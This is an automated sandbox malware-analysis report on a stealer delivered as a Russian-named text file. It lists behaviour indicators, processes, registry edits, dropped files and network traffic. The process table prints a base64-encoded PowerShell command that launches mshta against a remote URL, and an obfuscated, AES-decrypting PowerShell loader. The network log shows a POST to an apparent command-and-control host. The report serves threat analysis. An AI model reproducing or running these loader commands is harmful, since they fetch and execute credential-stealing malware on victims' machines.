| File name: | Текстовый документ.txt |
| Full analysis: | https://app.any.run/tasks/88ffd563-c3d5-4db2-a66e-011e7bd6323c |
| Verdict: | Malicious activity |
| Threats: | Stealers are a group of malicious software that are intended for gaining unauthorized access to users’ information and transferring it to the attacker. The stealer malware category includes various types of programs that focus on their particular kind of data, including files, passwords, and cryptocurrency. Stealers are capable of spying on their targets by recording their keystrokes and taking screenshots. This type of malware is primarily distributed as part of phishing campaigns. |
| Analysis date: | August 04, 2024, 11:28:50 |
| OS: | Windows 10 Professional (build: 19045, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | text/plain |
| File info: | ASCII text, with no line terminators |
| MD5: | CA4FDC1DCDA3F552265BFC6D5C31137A |
| SHA1: | 2545D5366862A194AAC2A6EB9BA6A49C333B573F |
| SHA256: | 89AF67A822A9B0D48C82B953F4A13302B1D4F091E288BC33F7ABA2B20C01D8BE |
| SSDEEP: | 3:VSJJLNyAmarBanfknMVpvT0Vk6S0i11H6BtozynjKoY:snyuW5VpvT0VkH9DH6ByG8 |
MALICIOUS
Changes powershell execution policy (Unrestricted)
- mshta.exe (PID: 5240)
Gets or sets the initialization vector for the symmetric algorithm (POWERSHELL)
- powershell.exe (PID: 1360)
Gets or sets the symmetric key that is used for encryption and decryption (POWERSHELL)
- powershell.exe (PID: 1360)
Uses AES cipher (POWERSHELL)
- powershell.exe (PID: 1360)
Drops the executable file immediately after the start
- mshta.exe (PID: 5240)
- powershell.exe (PID: 1360)
- BitLockerToGo.exe (PID: 5044)
- ODVTYAQXRZYTMFXVIICAIEQ9G.exe (PID: 6264)
Scans artifacts that could help determine the target
- mshta.exe (PID: 5240)
Dynamically loads an assembly (POWERSHELL)
- powershell.exe (PID: 1360)
Downloads the requested resource (POWERSHELL)
- powershell.exe (PID: 1360)
Run PowerShell with an invisible window
- powershell.exe (PID: 1360)
Changes the autorun value in the registry
- ODVTYAQXRZYTMFXVIICAIEQ9G.exe (PID: 6264)
Actions looks like stealing of personal data
- BitLockerToGo.exe (PID: 5044)
SUSPICIOUS
The process bypasses the loading of PowerShell profile settings
- mshta.exe (PID: 5240)
Extracts files to a directory (POWERSHELL)
- powershell.exe (PID: 1360)
Writes data into a file (POWERSHELL)
- powershell.exe (PID: 1360)
Gets or sets the security protocol (POWERSHELL)
- powershell.exe (PID: 1360)
Executable content was dropped or overwritten
- powershell.exe (PID: 1360)
- BitLockerToGo.exe (PID: 5044)
- ODVTYAQXRZYTMFXVIICAIEQ9G.exe (PID: 6264)
- mshta.exe (PID: 5240)
Gets file extension (POWERSHELL)
- powershell.exe (PID: 1360)
Starts a Microsoft application from unusual location
- Microsoft 3D.exe (PID: 2248)
Process drops legitimate windows executable
- powershell.exe (PID: 1360)
- mshta.exe (PID: 5240)
Searches for installed software
- BitLockerToGo.exe (PID: 5044)
Starts POWERSHELL.EXE for commands execution
- mshta.exe (PID: 5240)
Cryptography encrypted command line is found
- powershell.exe (PID: 1360)
Probably obfuscated PowerShell command line is found
- mshta.exe (PID: 5240)
Starts itself from another location
- ODVTYAQXRZYTMFXVIICAIEQ9G.exe (PID: 6264)
Changes internet zones settings
- 1C05CB940DFB3E6E1CDBC63A18737937.exe (PID: 640)
INFO
Checks supported languages
- TextInputHost.exe (PID: 6828)
- Microsoft 3D.exe (PID: 2248)
- BitLockerToGo.exe (PID: 5044)
- ODVTYAQXRZYTMFXVIICAIEQ9G.exe (PID: 6264)
- 1C05CB940DFB3E6E1CDBC63A18737937.exe (PID: 640)
Reads security settings of Internet Explorer
- notepad.exe (PID: 6308)
- Taskmgr.exe (PID: 6776)
Manual execution by a user
- powershell.exe (PID: 1964)
- Taskmgr.exe (PID: 3848)
- Taskmgr.exe (PID: 6776)
- chrome.exe (PID: 5032)
Checks proxy server information
- mshta.exe (PID: 5240)
- powershell.exe (PID: 1360)
Reads the computer name
- TextInputHost.exe (PID: 6828)
- BitLockerToGo.exe (PID: 5044)
- ODVTYAQXRZYTMFXVIICAIEQ9G.exe (PID: 6264)
- 1C05CB940DFB3E6E1CDBC63A18737937.exe (PID: 640)
Reads Internet Explorer settings
- mshta.exe (PID: 5240)
Gets data length (POWERSHELL)
- powershell.exe (PID: 1360)
Checks whether the specified file exists (POWERSHELL)
- powershell.exe (PID: 1360)
Disables trace logs
- powershell.exe (PID: 1360)
Script raised an exception (POWERSHELL)
- powershell.exe (PID: 1360)
The executable file from the user directory is run by the Powershell process
- Microsoft 3D.exe (PID: 2248)
Checks if a key exists in the options dictionary (POWERSHELL)
- powershell.exe (PID: 1360)
Reads the software policy settings
- BitLockerToGo.exe (PID: 5044)
Create files in a temporary directory
- BitLockerToGo.exe (PID: 5044)
Reads the machine GUID from the registry
- ODVTYAQXRZYTMFXVIICAIEQ9G.exe (PID: 6264)
- 1C05CB940DFB3E6E1CDBC63A18737937.exe (PID: 640)
Reads Microsoft Office registry keys
- chrome.exe (PID: 5032)
Application launched itself
- chrome.exe (PID: 5032)
Creates files or folders in the user directory
- ODVTYAQXRZYTMFXVIICAIEQ9G.exe (PID: 6264)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
Total processes
165
Monitored processes
23
Malicious processes
6
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 640 | "C:\Users\admin\AppData\Roaming\1C05CB940DFB3E6E1CDBC63A18737937\1C05CB940DFB3E6E1CDBC63A18737937.exe" | C:\Users\admin\AppData\Roaming\1C05CB940DFB3E6E1CDBC63A18737937\1C05CB940DFB3E6E1CDBC63A18737937.exe | ODVTYAQXRZYTMFXVIICAIEQ9G.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Modules
| |||||||||||||||
| 1360 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function eCTUGj($cXQUpqBL){return -split ($cXQUpqBL -replace '..', '0xf7f81a39-5f63-5b42-9efd-1f13b5431005amp; ')};$UflnSNVU = eCTUGj('29BDBC8E5B48C1C3371ACC1EBC292036B4AC5A464747B3EF937586E4B35787C178D1C3E1802A992866A8D5D837D79668F3AB7673EF21D6987DE814920AA5CAEAB39CD584507C2E84AF7230B6FBF50E6588E6E01376A8107764A8C85BAF2EC6358CB06ACA010F5A9AF8351E2DAF71B59FEE7B2209DA92A6FCD2AEC3057F115BEEAA6D55657724F711317027B57D2CE753B924201810C279487CFE4071D0451DCAD521E72930692ECB7060556348D4B918503BF368316C2D2DAF56110AA936432D9D9BDEC5DF85C33776A32EE21E145469998030E137D818048D48F04459FF34DCE6BC450A9F7BA0306EE7D8ADC5A52F9D7E58055BFB2D436E4D0C088E348F3EBC22B3CFD9CACE60F785C233652015F2A727632D651A0BEF877599CAC846AFD11AF9C506E88A39715024165D4D0B4DB2C244BEAE584422C05B48AF3A614D98BE6C67758D5B515E013A4E03A9D0BABAD32002234FCE1965F4CAACE334DA923E852FE9317A064FAC01DDAA8DAEB3858BF5AE05F902B69D5B15134C7F3127B739C3238D83B2A0765196754FC8EFBB67F3B2E8C9F5350D3022D9F594AFEE0E16D4C2732205D7329B3D6EC379B3EE5A0F8826E15FA8B2EF27DB5F2A803F9F674618526E1E27B48E418A05343B657D941A5462E8C635730B8E794EC0FE3D3E584F3B08C5E0F254B333F1A1A6820673B6B3EB3521C95FDD9C4B656D3B2977E3D2F21750130BD5A2D5F7009FCD1240A10C0109432B8AA68E54FBA0DF1BF88DCEDC7EA9DF0B205CF25D40B06EC99FC20AA1E01531B35FCFBC3204E677718E784954A1B7176BD26BE8165903C15C93D509F50BA2B24DCA4854A444C4A0A98ADC94A0228C38719779169FDC914234C41B704702B5E1E9CEE1828190ECF3BDADB4AC9F34381D0B9FED3DDDE36720DD57B31E8BA4BFE74115AD085B761C71E2FF87FD6DA4931CB616AAE6830A5F04691CB07420164232BDB23D638446562558BD57B4D58CFA8B8A0DEDCD2FD0D98335A2C793A312B4F4FC74954119375B013800148A70B523B2572EBBABDD8716B0CB62556A9E2734249CF44FBB410DC1BD95F9911E4B8A9469B83AD98BAD1DA6A595B95F8A13CE361EB780BD73E40F669514A537F40174C28A6D58CA57E0DDCCF8BF554B4C1C8C9AA914C6666EF3C0E70D36282620294F2FD80992EA04259B9F915563298647491B9ADA14BC3AD14F94D43BBAC443FED363265CF65C76904D68B9214EB30A23F6374111AADB4417D4A02837616129B89C9E2B4988A8D13F5CAD58B68BB3ACA437DB6E8120C25F78270F03C6999EDD390599B471629569AC4689E18708A2F820D1D1467DD7FB18F1ADC81A29FAF59FD1EB17C50C995E8FE2B045C77217D61D9DB244B10F7C746FF84DB0287B497921E61B0CF20D504D8AE8958E712FE7FCFE79F70952E23F72CC265BD027FC6A59D385DCAF558EF3E850ED9B8D04E2F88C251451E02F466CFA95722CE09B51B44D6B8679EAF9973D80ADC7F234CEEC017DEB42BDF320F417760DD30935620357241469C097EF0AB9AB302F9765ADF20B02CD9B554F790623EE0D3384AED0F86E6B6E67AA35A8CD2EBE7FE0A4BFE78EA61B00FF45D6CD8B377B0C5C1E283E0A815A48F541B5AC8AE5975F3642F527766A57102E409844FE5C5A32BB0719BF21A8B516A8B343E399E3CB00E2ECAEB88569A01F47B8125FEF1634D9FCA304A31ECBA3F23AA1FA481EDDD5FDB8EA994E0FBD269DB6D711E346335535E76BCDD0908418E65AACA7EE49B4F2E3C392F747CAF57BDCACE275DC604F05E122003ACB8E36E2C66E45E8162F155E963764DB2C0FD4152235890D225D61B5E773DE06C47A46A1309DE76D83A38ABE1D003E78EB899992CDAD7E6F538E70D22E83708DA276C246B2DBA5D5FCD9CEA209540B54951E1A738403195E48BB1C34C17D424E2715D82856D7D10E34E44DF06752D09D2E4A35639088253DE4BEC3D29E0CD36F25C121067E2B379D0E45');$yAvcK = [System.Security.Cryptography.Aes]::Create();$yAvcK.Key = eCTUGj('6444446170717150646656774D674D68');$yAvcK.IV = New-Object byte[] 16;$KBCJJTvg = $yAvcK.CreateDecryptor();$vpnhdgKlu = $KBCJJTvg.TransformFinalBlock($UflnSNVU, 0, $UflnSNVU.Length);$JmxylpWNv = [System.Text.Encoding]::Utf8.GetString($vpnhdgKlu);$KBCJJTvg.Dispose();& $JmxylpWNv.Substring(0,3) $JmxylpWNv.Substring(3) | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | mshta.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1964 | "C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe" -eC bQBzAGgAdABhACAAaAB0AHQAcABzADoALwAvAG0AYQB0AG8ALQBjAGEAbQBwADEALgBiAC0AYwBkAG4ALgBuAGUAdAAvAHQAbwB3AG4ALQBmAGkAbAA= | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2248 | "C:\Users\admin\AppData\Local\Temp\Microsoft 3D.exe" | C:\Users\admin\AppData\Local\Temp\Microsoft 3D.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Store Installer Exit code: 666 Version: 22406.625.4.0 Modules
| |||||||||||||||
| 2340 | "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --disable-quic --no-appcompat-clear --mojo-platform-channel-handle=5028 --field-trial-handle=1876,i,12444332776057759859,884469788784586629,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version /prefetch:8 | C:\Program Files\Google\Chrome\Application\chrome.exe | — | chrome.exe | |||||||||||
User: admin Company: Google LLC Integrity Level: MEDIUM Description: Google Chrome Exit code: 0 Version: 122.0.6261.70 Modules
| |||||||||||||||
| 2584 | "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --disable-quic --no-appcompat-clear --mojo-platform-channel-handle=2244 --field-trial-handle=1876,i,12444332776057759859,884469788784586629,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version /prefetch:8 | C:\Program Files\Google\Chrome\Application\chrome.exe | — | chrome.exe | |||||||||||
User: admin Company: Google LLC Integrity Level: LOW Description: Google Chrome Version: 122.0.6261.70 Modules
| |||||||||||||||
| 3660 | "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=3184 --field-trial-handle=1876,i,12444332776057759859,884469788784586629,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version /prefetch:1 | C:\Program Files\Google\Chrome\Application\chrome.exe | — | chrome.exe | |||||||||||
User: admin Company: Google LLC Integrity Level: LOW Description: Google Chrome Version: 122.0.6261.70 Modules
| |||||||||||||||
| 3848 | "C:\WINDOWS\system32\taskmgr.exe" /4 | C:\Windows\System32\Taskmgr.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Task Manager Exit code: 3221226540 Version: 10.0.19041.3636 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 4192 | "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\admin\AppData\Local\Google\Chrome\User Data\Crashpad" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=122.0.6261.70 --initial-client-data=0x220,0x224,0x228,0x1fc,0x22c,0x7fffd79adc40,0x7fffd79adc4c,0x7fffd79adc58 | C:\Program Files\Google\Chrome\Application\chrome.exe | — | chrome.exe | |||||||||||
User: admin Company: Google LLC Integrity Level: MEDIUM Description: Google Chrome Version: 122.0.6261.70 Modules
| |||||||||||||||
| 5032 | "C:\Program Files\Google\Chrome\Application\chrome.exe" "--disable-features=OptimizationGuideModelDownloading,OptimizationHintsFetching,OptimizationTargetPrediction,OptimizationHints" | C:\Program Files\Google\Chrome\Application\chrome.exe | explorer.exe | ||||||||||||
User: admin Company: Google LLC Integrity Level: MEDIUM Description: Google Chrome Version: 122.0.6261.70 Modules
| |||||||||||||||
Total events
35 568
Read events
35 240
Write events
323
Delete events
5
Modification events
| (PID) Process: | (5240) mshta.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | ProxyBypass |
Value: 1 | |||
| (PID) Process: | (5240) mshta.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | IntranetName |
Value: 1 | |||
| (PID) Process: | (5240) mshta.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 1 | |||
| (PID) Process: | (5240) mshta.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | AutoDetect |
Value: 0 | |||
| (PID) Process: | (5240) mshta.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content |
| Operation: | write | Name: | CachePrefix |
Value: | |||
| (PID) Process: | (5240) mshta.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies |
| Operation: | write | Name: | CachePrefix |
Value: Cookie: | |||
| (PID) Process: | (5240) mshta.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History |
| Operation: | write | Name: | CachePrefix |
Value: Visited: | |||
| (PID) Process: | (1360) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (1360) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | EnableAutoFileTracing |
Value: 0 | |||
| (PID) Process: | (1360) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
Executable files
9
Suspicious files
30
Text files
24
Unknown types
2
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 1964 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RFf214a.TMP | binary | |
MD5:D040F64E9E7A2BB91ABCA5613424598E | SHA256:D04E0A6940609BD6F3B561B0F6027F5CA4E8C5CF0FB0D0874B380A0374A8D670 | |||
| 5240 | mshta.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\517B86ABD897C7B2D4ECD67EE3885B86 | binary | |
MD5:14D91CBD6A77C5E349AF2351B54D3CF9 | SHA256:937372419740774640DBCB2957498E391E03DA27049CE4F1AB40E52B32B0E1CF | |||
| 6776 | Taskmgr.exe | C:\Users\admin\AppData\Local\D3DSCache\3534848bb9f4cb71\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.lock | text | |
MD5:F49655F856ACB8884CC0ACE29216F511 | SHA256:7852FCE59C67DDF1D6B8B997EAA1ADFAC004A9F3A91C37295DE9223674011FBA | |||
| 5240 | mshta.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B2FAF7692FD9FFBD64EDE317E42334BA_D7393C8F62BDE4D4CB606228BC7A711E | binary | |
MD5:83F91F395D35BE415F6ADF61695E1F76 | SHA256:498AD615CBD17CE8DABBA48AA97DA7A394284DBEDF62DE960FCB7BDED88B1CE9 | |||
| 1964 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_xy0xh5ko.1op.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 5240 | mshta.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\07CEF2F654E3ED6050FFC9B6EB844250_3431D4C539FB2CFCB781821E9902850D | binary | |
MD5:4CD42232B58945935333B4E86C742E02 | SHA256:C890FADCF8C4CEF105EA391B9FA3E6A494B7C3BBA40C4A93EB26632D36044ABB | |||
| 1964 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_jxns4vcr.xcc.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 2248 | Microsoft 3D.exe | C:\Users\Public\Libraries\mjjog.scif | — | |
MD5:— | SHA256:— | |||
| 2248 | Microsoft 3D.exe | C:\Users\Public\Libraries\lmoff.scif | — | |
MD5:— | SHA256:— | |||
| 1360 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_jbjkglru.bvr.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
20
TCP/UDP connections
77
DNS requests
38
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
5336 | SearchApp.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D | unknown | — | — | whitelisted |
5336 | SearchApp.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D | unknown | — | — | whitelisted |
4436 | svchost.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
5336 | SearchApp.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEApDqVCbATUviZV57HIIulA%3D | unknown | — | — | whitelisted |
5504 | backgroundTaskHost.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D | unknown | — | — | whitelisted |
— | — | GET | 200 | 104.18.38.233:80 | http://ocsp.comodoca.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRTtU9uFqgVGHhJwXZyWCNXmVR5ngQUoBEKIz6W8Qfs4q8p74Klf9AwpLQCEDlyRDr5IrdR19NsEN0xNZU%3D | unknown | — | — | whitelisted |
5240 | mshta.exe | GET | 200 | 104.18.38.233:80 | http://ocsp.sectigo.com/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBRDC9IOTxN6GmyRjyTl2n4yTUczyAQUjYxexFStiuF36Zv5mwXhuAGNYeECEQCb80pEPlZ04x2fAu4YLy1O | unknown | — | — | whitelisted |
5240 | mshta.exe | GET | 200 | 104.18.38.233:80 | http://ocsp.usertrust.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTNMNJMNDqCqx8FcBWK16EHdimS6QQUU3m%2FWqorSs9UgOHYm8Cd8rIDZssCEH1bUSa0droR23QWC7xTDac%3D | unknown | — | — | whitelisted |
640 | 1C05CB940DFB3E6E1CDBC63A18737937.exe | POST | 200 | 89.248.206.222:80 | http://vamplersam.info/cfg | unknown | — | — | unknown |
6452 | dllhost.exe | GET | 302 | 142.250.186.110:80 | http://google.com/webhp | unknown | — | — | whitelisted |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
3028 | svchost.exe | 40.127.240.158:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | unknown |
5796 | RUXIMICS.exe | 40.127.240.158:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | unknown |
2120 | MoUsoCoreWorker.exe | 40.127.240.158:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | unknown |
3888 | svchost.exe | 239.255.255.250:1900 | — | — | — | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
3028 | svchost.exe | 4.231.128.59:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
5336 | SearchApp.exe | 2.23.209.150:443 | www.bing.com | Akamai International B.V. | GB | whitelisted |
5336 | SearchApp.exe | 192.229.221.95:80 | ocsp.digicert.com | EDGECAST | US | whitelisted |
5336 | SearchApp.exe | 2.23.209.149:443 | www.bing.com | Akamai International B.V. | GB | unknown |
DNS requests
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
www.bing.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
r.bing.com |
| whitelisted |
th.bing.com |
| whitelisted |
browser.pipe.aria.microsoft.com |
| whitelisted |
login.live.com |
| whitelisted |
client.wns.windows.com |
| whitelisted |
fd.api.iris.microsoft.com |
| whitelisted |